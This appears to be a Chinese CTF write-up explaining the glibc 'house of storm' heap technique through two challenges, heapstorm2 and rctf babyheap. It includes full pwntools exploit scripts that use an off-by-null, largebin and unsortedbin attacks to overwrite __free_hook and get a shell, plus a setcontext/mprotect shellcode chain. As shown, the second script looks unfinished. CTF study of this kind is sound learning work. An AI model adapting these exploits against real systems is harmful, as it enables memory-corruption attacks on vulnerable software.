0ctf_2018_heapstorm2
这道题算是house of storm的起源。 house of storm的原理其实就是:结合利用largebin attack和劫持unsortedbin后一个chunk的bk,实现把堆地址写入到任意地址,再结合unsortedbin的bk指针分配时只检查size而不检查chunk完整性(这里有点疑惑,unlink检查应该很严格,可能是绕过了而不是没有检查)分配到这个地址上(add(0x48))实现的结果和unlink差不多。 具体利用条件:
- glibc2.30以下
- 在unsortedbin和largebin中需要有两个chunk,这两个chunk要在一个index下并且unsortedbin中的index要比largebin的大(largebin attack条件)
- unsortedbin的bk可控(为了分配下一个chunk)
- largebin中的bk和bk_nextsize可控
对于第二,三,四个条件,只需要off-bu-null即可以实现。 heap_storm在实战中目前只碰到了rctf_2019_babyheap和0ctf_2018_heapstorm2,这两题的共同点是开启mallopt函数,限制没有fastbin,于是任意分配会有障碍
漏洞分析
edit中存在off-by-null我ida这里反汇编不是很明显 off-by-null其实可以实现很多事情。之前的sctf的一道题就是用off-by-null在没有show函数的情况下getshell的。这里类似的思路,对风水控制chunk-overlapping。这里的payload其实可以当成模板来用,主要是构造两个chunk overlapping并且大小不同。最后的结果是有两个chunk在largebin和unsortedbin中
add(0x18)
add(0x508)
add(0x18)
update(1,'h'*0x4f0+p64(0x500))
add(0x18)
add(0x508)
add(0x18)
update(4,'h'*0x4f0+p64(0x500))
add(0x18)
free(1)
update(0,'h'*(0x18-12))
add(0x18)
add(0x4d8)
free(1)
free(2)
add(0x38)
add(0x4e8)
free(4)
update(3, 'h'*(0x18-12))
add(0x18)
add(0x4d8)
free(4)
free(5)
add(0x48)
free(2)
add(0x4e8)
free(2)
下图为调试结果 接下来是关键的largebin attack和unsortedbin attack 由于这里的对管理块的位置是已知的,只需要分配到这里即可。修改unsortedbin的fd指针,可以导致unsortedbin attack把fake_chunk的fd位置写上main_arena+0x88的内容。 之后是修改largebin中chunk指针。注意这里largebin attack将会执行两件事情。第一把fake_chunk+8+0x10 (largebin->bk->fd)(其实是fake chunk开头的堆块的bk位置)写上下一个堆块的地址,而正好就是下一个unsortedbin的块地址 第二件事是把fake_chunk-0x18-5 中写上下一个堆块的地址。为什么是-5,因为这样会像fastbin一样,控制size前面都是0,变成0x0000000000000056 。 这两件事情做完了,我们就构造好了符合要求的伪造unsorted chunk
storage = 0x13370000+0x800
fake_chunk = storage - 0x20
p1 = p64(0)*2+p64(0)+p64(0x4f1)
p1+=p64(0)+p64(fake_chunk)
update(7,p1)
p2 = p64(0)*4+p64(0)+p64(0x4e1)
p2+=p64(0)+p64(fake_chunk+8)
p2+=p64(0)+p64(fake_chunk-0x18-5)
update(8,p2)
引用一位博主的图,写house of storm也很好 https://www.cnblogs.com/Rookle/p/13140339.html 接下来就是爆破看0x56大小的块能不能被分配到。分配到了就是unlink一样的解法。还是有点小麻烦就是这里的permission绕过,只需要设置为0 就可以了。 这道题又有点麻烦,自己加了异或简单加密,给调试看内存带来了很大的困难,真实烦银。所以这道题就当是学习知识点了。
exp
参考网上的,动手调试学会的以上内容:) https://blog.csdn.net/weixin_44145820/article/details/105740530
from pwn import *
context.log_level = 'debug'
elf = ELF("./0ctf_2018_heapstorm2")
libc = elf.libc
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "Command: "
def add(size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline(str(size))
def delete(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index: ")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index: ")
r.sendline(str(index))
def edit(index,content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index: ")
r.sendline(str(index))
r.recvuntil("Size: ")
r.sendline(str(len(content)))
r.recvuntil("Content: ")
r.send(content)
def debug():
gdb.attach(r,"brva 0xf21")
edit(3,'0')
def pwn():
add(0x18)
add(0x508)
add(0x18)
add(0x18)
add(0x508)
add(0x18)
add(0x18)
edit(1, 'a'*0x4f0+p64(0x500))
delete(1)
edit(0, 'a'*(0x18-12))
add(0x18)
add(0x4d8)
delete(1)
delete(2)
add(0x38)
add(0x4e8)
edit(4, 'a'*0x4f0+p64(0x500))
delete(4)
edit(3, 'a'*(0x18-12))
add(0x18)
add(0x4d8)
delete(4)
delete(5)
add(0x48)
delete(2)
add(0x4e8)
delete(2)
storage = 0x13370800
fake_chunk = storage - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload)
payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
add(0x48)
payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(fake_chunk+3) + p64(8)
edit(0, payload)
show(1)
r.recvuntil("]: ")
heap = u64(r.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
edit(0, payload)
show(1)
r.recvuntil("]: ")
malloc_hook = u64(r.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
success("malloc_hook:"+hex(malloc_hook))
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) + '/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))
delete(2)
r.interactive()
if __name__ == "__main__":
while True:
r = remote('node4.buuoj.cn',29164)
try:
pwn()
except:
r.close()
rctf_2019_babyheap
学完上面的知识点再来做这道题就会觉得很easy,两道题非常相似,而且都是用了mallopt这个函数。这道题没有加密,开了沙箱,难度感觉是降低了的
踩坑
- 首先是泄露libc,这道题控制指针也是随机化的,没法正常unlink到控制块,像刚才那样,于是就考虑劫持free_hook(上一题为什么不行?因为这样方便并且还要绕过permission检测)libc泄露可以通过off-by-null得到unsortedbin中的overlapping chunk
- 由于开了沙箱,要用setcontext但是注意如果要使用set_context+mprotect+shellcode需要sigreturnframe这样chunk大小就不够(200多Byte),后面还是自己重新堆风水修改的
- read的shellcode读入的块大小很惊险,67/72差点就不够了。一开始没有用xor导致无法orw
其他的都比较类似,尤其堆风水思路差不多,直接套就可以。
exp
from pwn import *
io=process('./rctf_2019_babyheap')
context.log_level='debug'
context.arch = "amd64"
elf=ELF('./rctf_2019_babyheap')
libc=elf.libc
def add(size):
io.recvuntil('Choice:')
io.sendline(str(1))
io.recvuntil('Size:')
io.sendline(str(size))
def edit(index,content):
io.recvuntil('Choice:')
io.sendline(str(2))
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Content:')
io.send(content)
def delete(index):
io.recvuntil('Choice:')
io.sendline(str(3))
io.recvuntil('Index:')
io.sendline(str(index))
def show(index):
io.recvuntil('Choice:')
io.sendline(str(4))
io.recvuntil('Index:')
io.sendline(str(index))
def debug():
gdb.attach(io,"brva 0x1329")
show(0)
def pwn():
add(0x18)
add(0x18)
add(0xf8)
add(0x18)
delete(0)
edit(1,p64(0xdeadbeef)*2+p64(0x40))
delete(2)
add(0x18)
show(1)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success("libc_info----->" + hex(libc_info))
libc_base = libc_info-0x3c4b78
success("libc_base----->" + hex(libc_base))
add(0x118)
delete(3)
delete(2)
delete(0)
add(0x18)
add(0x508)
add(0x18)
add(0x18)
add(0x508)
add(0x18)
add(0x18)
edit(2,'a'*0x4f0+p64(0x500))
delete(2)
edit(0,p64(0)*4)
add(0x18)
add(0x4d8)
delete(2)
delete(3)
add(0x38)
add(0x4e8)
edit(5,'a'*0x4f0+p64(0x500))
delete(5)
edit(4,p64(0)*4)
add(0x18)
add(0x4d8)
delete(5)
delete(6)
add(0x48)
delete(3)
add(0x4e8)
delete(3)
fake_chunk = libc_base+libc.sym['__free_hook']-0x20
edit(8,p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk))
edit(9,p64(0)*5+p64(0x4e1)+p64(0)+p64(fake_chunk+8)+p64(0)+p64(fake_chunk-0x18-5))
debug()
add(0x48)
debug()
free_hook = libc_base+libc.sym['__free_hook']
setcontext = libc_base+libc.sym['setcontext']
shellcode_addr = libc_base+libc.sym['__free_hook']
shellcode_addr = free_hook&0xfffffffffffff000
shellcode_read = """
mov rdi,0
mov rsi,{}
mov rdx,0x1000
mov rax,0
syscall
jmp rsi
""".format(shellcode_addr)
edit(3,p64(0)*2+p64(setcontext+53)+p64(free_hook+0x18)*2+asm(shellcode_read))
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = shellcode_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']+libc_addr
print len(str(frame))
edit(0,str(frame))
if __name__ == "__main__":
while True:
io=process('./rctf_2019_babyheap')
try:
pwn()
io.interactive()
except:
io.close()
总结
house of strom结合unsortedbin attack 和largebin attack,但是需要大小要求和指针覆盖要求,常见于(包括但不限于)mallopt题目中,效果类似unlink。这里学到了unlink其实也可以分配到free_hook的位置(如果使用unsortedbin attack和largebin attack布置好了)还是有些小复杂的使用方法。也没有出现在how2heap中。
|